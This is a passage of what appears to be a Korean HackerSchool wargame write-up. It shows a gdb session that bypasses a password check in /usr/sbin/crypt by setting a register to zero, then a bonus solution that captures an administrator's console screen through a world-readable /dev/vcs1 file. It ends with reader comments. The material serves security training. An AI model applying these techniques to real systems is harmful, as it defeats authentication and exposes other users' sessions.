0x80485a0 <main+144>:je 0x80485bc <main+172>

0x80485a2 <main+146>:sub $0xc,%esp

0x80485a5 <main+149>:push $0x804869a

0x80485aa <main+154>:call 0x80483e4 <printf>

0x80485af <main+159>:add $0x10,%esp

0x80485b2 <main+162>:sub $0xc,%esp

0x80485b5 <main+165>:push $0xffffffff

0x80485b7 <main+167>:call 0x80483f4 <exit>

0x80485bc <main+172>:sub $0xc,%esp

0x80485bf <main+175>:push $0x80486a8

0x80485c4 <main+180>:call 0x80483e4 <printf>

0x80485c9 <main+185>:add $0x10,%esp

0x80485cc <main+188>:lea 0xfffffff8(%ebp),%esp

0x80485cf <main+191>:pop %esi

0x80485d0 <main+192>:pop %edi

0x80485d1 <main+193>:pop %ebp

0x80485d2 <main+194>:ret

0x80485d3 <main+195>:nop

End of assembler dump.

(gdb) disas strcmp

Dump of assembler code for function strcmp:

0x8048384 <strcmp>:jmp *0x80497b4

0x804838a <strcmp+6>:push $0x8

0x804838f <strcmp+11>:jmp 0x8048364 <_init+24>

End of assembler dump.

(gdb) disas signal

Dump of assembler code for function signal:

0x8048394 <signal>:jmp *0x80497b8

0x804839a <signal+6>:push $0x10

0x804839f <signal+11>:jmp 0x8048364 <_init+24>

End of assembler dump.

(gdb) b 0x804859e

Function "0x804859e" not defined.

(gdb) b *0x804859e

Breakpoint 1 at 0x804859e

(gdb) r

Starting program: /usr/sbin/crypt

Password:

 

Breakpoint 1, 0x0804859e in main ()

(gdb) info reg

eax 0x11

ecx 0xffffffff-1

edx 0x8049988134519176

ebx 0x4213030c1108542220

esp 0xbffffb200xbffffb20

ebp 0xbffffb880xbffffb88

esi 0x804868f134514319

edi 0xbffffb3d-1073743043

eip 0x804859e0x804859e

eflags 0x282642

cs 0x2335

ss 0x2b43

ds 0x2b43

es 0x2b43

fs 0x00

gs 0x00

fctrl 0x37f895

fstat 0x00

ftag 0xffff65535

fiseg 0x00

fioff 0x00

foseg 0x00

fooff 0x00

---Type <return> to continue, or q <return> to quit---

fop 0x00

xmm0 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm1 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm2 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm3 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm4 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm5 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm6 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm7 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

mxcsr 0x00

orig_eax 0xffffffff-1

(gdb) step

Single stepping until exit from function main,

which has no line number information.

 

틀렸습니다.

 

Program exited with code 0377.

(gdb) r

Starting program: /usr/sbin/crypt

Password:

 

Breakpoint 1, 0x0804859e in main ()

(gdb) info reg

eax 0x1 1

ecx 0xffffffff -1

edx 0x8049988 134519176

ebx 0x4213030c 1108542220

esp 0xbffffb20 0xbffffb20

ebp 0xbffffb88 0xbffffb88

esi 0x804868f 134514319

edi 0xbffffb3d -1073743043

eip 0x804859e 0x804859e

eflags 0x282642

cs 0x2335

ss 0x2b43

ds 0x2b43

es 0x2b43

fs 0x00

gs 0x00

fctrl 0x37f895

fstat 0x00

ftag 0xffff65535

fiseg 0x00

fioff 0x00

foseg 0x00

fooff 0x00

---Type <return> to continue, or q <return> to quit---

fop 0x00

xmm0 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm1 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm2 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm3 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm4 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm5 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm6 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm7 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

mxcsr 0x00

orig_eax 0xffffffff-1

(gdb) set $eax=0

(gdb) c

Continuing.

 

성공!!

 

Program exited with code 010.

(gdb) q

bash-2.05a$ exit

 

 

 

보너스 문제 2.

 

 

-- Hint --

관리자의 화면 캡쳐 : 관리자가 실수로 가상 콘솔 스크린 관련 파일의 읽기 퍼미션을 열어

놓았다고 합니다. 이 정보를 이용하여 관리자의 화면을 캡쳐하세요.

-> more hint : 가상 콘솔 스크린의 약자는?

 

 

 

이 문제는 가상 콘솔 스크린 관련 파일을 읽어 관리자의 화면을 캡쳐하는것이다.

힌트를 보면 파일명이 가상콘솔스크린의 약자 라고 하는데 약자는 vcs이다.

그래서 /dev 에서 vcs 와 관련된 파일을 찾아보았다. 읽기퍼미션이 있는 파일중에

vcs1 이라는 파일이 있었다.

 

 

[캡쳐 화면]

 

--EOF--

 

수고하셨습니다. HackerSchool (r-_-)r

 

 

** 입상자에게 한마디!! **

 

 

그렘린 : 어렵다..흑.. .
하지석 : 좋은 강좌 감사요.. .
토시 : 짠 .
퓨쳐웍 : 많이 배웠습니다.. 감사.. .
gazio : good job.. .
디펜스 : 훒 .
e4sy : 으흐흐 벌레형이군 실력 마니 늘었네 ㅎ_ㅎ 고수 벌거지형 -_-)/ 변태여 영원하리 .
지인 : [RS]ZeeIn 벌레형 화이링 .

 

 

이름 :   내용 :